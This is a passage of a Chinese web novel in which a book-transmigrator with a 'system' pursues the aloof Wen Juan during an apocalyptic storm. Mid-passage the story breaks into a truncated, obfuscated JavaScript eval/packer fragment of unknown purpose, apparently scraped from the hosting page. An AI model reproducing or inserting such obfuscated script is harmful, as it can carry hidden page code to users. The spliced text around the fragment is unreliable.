但他一度被风刮走,清瘦的身形完全无法在暴风雨中站稳,最终只能略显狼狈地扶住路边的电线杆。 温倦拧着眉,他的心跳不正常地变快,皮肤泛起不自然的红,体温在极短的时间内开始飙升。一种难以言喻的不安开始蔓延。 “hey——” 惹眼的跑车一路轰鸣,溅着水花开到了温倦面前,驾驶座的楚尽风探出头来,露出看热闹似的得意模样,对温倦说,“又见面了,真巧啊。” 温倦面无表情地看着他。 雨将温倦全身打湿,半长的栗色头发可怜地耷拉下来,一双金色琥珀般的眼睛在雨幕中泛着异样的光。 他应该是落魄脆弱的,但却露出了居高临下的神态。 楚尽风笑容忽然一僵,竟然有种自己被看穿了的感觉,但随即又意识到不可能。他是高于这个世界的存在,他比这些活在故事里的NPC拥有更多的“信息”,他站在上帝视角俯瞰他们,他怎么可能被一个在原文中连人设都没有固定的炮灰给看穿? 楚尽风决定换一个方式搭话。他稍微拿出了真诚的口吻,对温倦说:“上车吧,这个雨一时半会儿不会停,我送你回家。” 温倦理也没理他,转头看向了另一个方向。 楚尽风气得想笑:“你……你到底为什么这么不待见我?你对明星有偏见?还是说,你对所有跟你搭讪的人都这么冷酷?” 这时,又一阵狂风袭来,街边停放的共享电车都被齐齐掀翻。不少人被风刮得跌倒在雨中。 温倦努力抱住电线杆,但下半身还是被风卷了起来,双脚几乎悬空。 楚尽风看到这一幕也有些惊讶:“你是不是太瘦了?” 他犹豫了片刻,还是推开车门走了出来。 不完全是因为想借着帮忙的由头接近温倦,还有一个重要原因是,短短几息功夫,雨势又大了许多,街道肉眼可见地开始积水。 跑车底盘低,被淹只是分分钟的事,他现在不下车,等下就更麻烦了。 楚尽风冒着雨跑到温倦身边,一把将人从半腾空的状态拽了下来:“不管你是为什么不待见我,现在咱俩都应该找个地方避雨,你觉得呢?” 温倦即便在这样狼狈的情况下,依然只是很平静地看着楚尽风,但他这次终于不再拒绝楚尽风,反手抓住楚尽风的胳膊以防再次被吹飞:“去旁边的商业街。” “好啊。”难得不再是冷漠的无视,楚尽风竟然有种受宠若惊的感觉,“你可得抓紧我啊,别被吹飞了。” 温倦没有跟他客气,他借着楚尽风稳住自己的脚步,两个人往不远处的商业街走去。 许多人都跑到这里来躲雨,假期里冷清的商业街现在竟然人满为患。 好不容易找到个空地,温倦松开楚尽风,几不可闻地说了声“谢谢”,就独自走向角落。 楚尽风自然不可能放过这个大好的攻略机会,凑过去,趁热打铁地和温倦聊天。 “咱俩这算不算共患难?” “……” “你看看,要不是我,你这会儿说不定都在天上飞了。我算不算你救命恩人?” “……” “不过你真的太瘦了,这样很不健康。我为了上镜已经减重很多了,没想到你比我还轻。” “……” “喂,喂,不是吧,真的一句话都不说啊?” 自说自话了好一会儿,楚尽风不得不接受现实。温倦仍然不打算和他说话。 他反反复复被温倦驳了面子,现在都有点麻木了,兀自坐下,和脑子里的系统聊起闲天来。 雨就这样下了一整天。 这已经不是普通的天气变化,整条街道都被淹了,处在高位的商业街一楼也淌了近一米深的水。 越来越强烈的风把无数店铺的门窗玻璃撞得哐当作响,空中飞舞着各种东西的残骸, 温倦去到楼顶,也不顾头顶倾盆大雨,扶着围栏看向整座城市上空黑压压的雨雾,有种喘不过气的感觉。 楚尽风倚在不远处的楼道口,看着温倦单薄的身影,忽然评价:“其实他完全长在我的审美上。” 【……】系统并不想对此发表意见。 因为它在楚尽风看到温倦的第一眼,就已经从各种数据中分析出了这个结果。 楚尽风感慨:“可惜恋爱只会影响我的任务进度。” 系统:【事实上就算你想恋爱也没用,温倦生前不爱任何人。即便是文中的陆亦哉,也是157次告白,157次失败。】 “在一本百万长篇小说里从头到尾没谈过一次恋爱的家伙,他和我能有什么可比性?” 【是的。】系统道,【比不上宿主在无数本爽文里开后宫的本事。】 楚尽风满不在乎地笑了笑,随后又问了个很不应景的问题:“原文里的陆亦哉,对他这个死去的白月光了解多少?” 【陆亦哉知道温倦的异能特殊,但不知道这股力量来自温倦体内的进化源。不过,他曾在温倦的帮助下突破了第三阶段进化。按照原文设定,无论是变异生物还是觉醒异能的人类,只要受到过进化能量辐射,就能在一定程度上感应到进化源。所以,陆亦哉应该对温倦体内的力量有所猜测,只是文中没有明确提及。】 “我倒不是问这个……”楚尽风想了想,换种问法,“现在这个时间线的陆亦哉,应该和温倦没有感情戏吧。” 【没有。】系统说,【原文中,陆亦哉明确的感情转变是在末日来临后。】 “也就是说,现在的温倦,身边一个人也没有。” 【如果以绝大多数人类对亲密关系的定义来判断,温倦确实孑然一身。并且,他在主动与人拉开距离。】 “守着只有自己知道的秘密,孤独地等待未知的审判,听起来真可怜……” 楚尽风眉梢微微一挑,好似想到了什么有趣的事, “我想,我应该换一种攻略方式。” - 天色从下午开始就完全沉下来,不看时间几乎无法判断现在是白天还是黑夜。 在商业街避雨的所有人,都感到某种类似的不安,无论认不认识,大家都不自觉地挤凑在一起,借着相互的身体支撑,默默地等待这场让所有人都猝不及防的雨停下。 “总觉得最近的天气很奇怪……” “是啊,前两天夜里还下雪了,真是见鬼。” “这都快赶上台风过境了吧,天气预报也没有提前通知啊!” “今天还能走出去吗?我手机被泡坏了,联系不上家里,他们肯定担心坏了。” “呜呜呜,老妈,今天不用等我回家吃饭了。” 一直到夜里,风才消停下来,雨势也渐渐小了。大家终于看到了救援船只。 救援队将被困在这里的人分批次带去了地势较高处,随后又急忙返回积水最严重的区域接着救援。 人们到了相对安全的地方,总算松了一口气。大家情绪终于缓和,不少人在想办法借手机给家里人打电话。 温倦站在人群边缘,一直很沉默。 “很晚了,这个地方离你家应该有一段距离,我送你回去吧。我叫了司机过来。” 许久没有主动搭话的楚尽风,不知何时又凑到了温倦身边。 他把湿发往后捋,做了个潇洒的大背头造型,耍酷地冲温倦挑了挑眉。 温倦嫌弃地退了两步:“离我远点。” “你好凶哦。”楚尽风捧着脸,装模作样地伤心了一会儿。 就在温倦打算再次无视这人的时候,他忽然听到楚尽风压低了声音,用只有两个人能听见的音量,说: “我知道你的秘密,温倦。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚尽风却自来熟得很,自顾自地便挤了进去:“我浑身都湿透了,想洗个澡再聊。” 温倦垂在两侧的手微微攒紧,一言不发地盯着楚尽风的背影。 【宿主,系统检测到温倦对你起了杀心。】 楚尽风的脚步一顿,笑容凝固在嘴边。 他万万没想到,温倦一副弱不禁风的柔弱模样,居然是个动不动就想杀人灭口的性子。 他很识时务地转过身来,对温倦客客气气地说:“我突然不想洗澡了,来吧,我们来好好聊聊。” 楚尽风给这个话题起了个头:“你一定很好奇我是谁——” “我不好奇你是谁,我也不想听你分享你的秘密。”温倦打断他,“你只需要告诉我,关于我,你知道多少。” “……哈。” 楚尽风笑起来,在脑子里问系统,“如果我告诉他,我知道他的一切,他是不是就打算在这里把我灭口?” 系统说:【根据目前温倦展现出来的性格模型推演可得:温倦把宿主灭口的概率超过60%】 楚尽风:…… 其实他也不必担心被温倦灭口,有系统这个金手指在,只要对手没有主角光环,他都不用太担心。 一般来说,面对书中越重要的角色,系统可以干预的权限就越低。 相反,像温倦这样只出现在回忆中的人物,基本等同于炮灰路人,系统可以轻松定位他、检测他的情绪数据,以及调取他的所有剧情资料。 如果温倦真的要对楚尽风动手,系统自然有办法让楚尽风化险为夷。 但温倦这个人对楚尽风来说,太有用了。 各种意义上,都很有用。 能攻略下来并收为己用是最好的,他并不打算和温倦打起来。 “其实,我是一个穿书者,而你,温倦,是一本小说中的人物。” 楚尽风最终决定给温倦抛出一个足够有冲击力的钩子,让温倦对他接下来要说的话产生兴趣,才能保证他们可以继续聊下去。 “我不仅知道你的秘密,我还知道这个世界过去现在未来所发生的一切。而我之所以找到你,是想告诉你,这个世界即将迎来末日——我想你也感觉到了,有很多不可控的事情正在发生,末日来临时,没有人能独善其身,即便是你。” 他表面镇定,实则不知不觉加快了语速,唯恐温倦听到一半就对他下手: “温倦,我不是你的敌人,不仅如此,我还愿意把我知道的一切都告诉你。我会向你证明,在这个世界上,我是你唯一可以信任的人。” -